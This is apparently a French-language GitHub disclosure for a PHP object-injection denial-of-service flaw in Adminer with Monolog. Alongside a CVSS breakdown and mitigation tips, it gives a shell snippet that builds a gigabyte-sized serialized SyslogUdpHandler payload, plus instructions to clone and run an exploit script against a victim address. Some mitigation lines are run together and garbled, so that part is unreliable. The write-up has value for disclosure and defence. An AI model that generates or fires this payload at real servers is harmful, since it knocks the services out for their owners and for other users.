
Exploit d'injection d'objet PHP pour Adminer <4.8.1 via Monolog, provoquant un déni de service via des payloads sérialisés forgés. Inclut PoC, score CVSS et conseils d'atténuation.
Après des mois d'attente d'une réponse de MITRE, j'ai obtenu CVE-2025-43960 avec une attaque par injection d'objets PHP contre le service Adminer (<4.8.1), provoquant un déni de service (DoS) par manipulation de la mémoire.
https://github.com/user-attachments/assets/ebf7d8e8-01db-4d02-bb12-33321c749458
Cette vulnérabilité permet à des attaquants distants non authentifiés d'exploiter les instances d'Adminer 4.8.1 utilisant Monolog, provoquant un déni de service (DoS) par injection d'objets PHP. Le vecteur d'attaque ne nécessite ni authentification ni interaction de l'utilisateur, ce qui en fait un problème de haute gravité (CVSS 7.5) avec un potentiel d'escalade à 8.6 dans certains environnements partagés.
Adminer 4.8.1, lorsqu'il utilise Monolog pour la journalisation, permet un déni de service (consommation mémoire) via une charge utile sérialisée malveillante telle qu'une chaîne s:1000000000, c'est-à-dire un problème d'injection d'objets PHP. La vulnérabilité affecte les instances d'Adminer utilisant Monolog pour la journalisation, où des entrées utilisateur non fiables sont désérialisées sans validation appropriée.
En envoyant un objet désérialisé volumineux, un attaquant peut forcer une consommation mémoire élevée, rendant l'interface Adminer non réactive et provoquant un DoS généralisé du serveur.
Score de base : 7.5 (Élevé)
Vecteur : AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Remarque sur les déploiements spécifiques :
Si le crash d'Adminer perturbe également d'autres services/locataires (par exemple, conteneur ou processus partagé), Scope : Changé peut s'appliquer :
- Vecteur :
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H- Score : 8.6 (Élevé)
unserialize() sur des données non fiables dans Adminer et Monolog.memory_limit) en PHP pour éviter une consommation excessive de ressources.allowed_classes dans unserialize() pour restreindre la désérialisation des classes non autorisées.< 4.8.1 (dernière version stable au moment des tests)unserialize()Génération de la charge utile :
head -c 1000000000 </dev/zero | tr '\0' 'D' > filler.txt
echo 'O:32:"Monolog\\Handler\\SyslogUdpHandler":2:{
s:9:"*socket";r:2;
s:10:"*handler";s:1000000000:"'$(cat filler.txt)'";
}' > payload.txt
Impact :
git clone https://github.com/far00t01/CVE-2025-43960
cd CVE-2025-43960
pip install -r requirement.txt
python3 cve-2025-43960.py
python3 cve-2025-43960.py
Usage: cve-2025-43960.py <ip-listener> <port-listener> <ip-victim:port>
Example: python3 cve-2025-43960.py 198.51.100.11 80 203.0.113.11:8000
Fabian Rosales (@far00t01) Medium.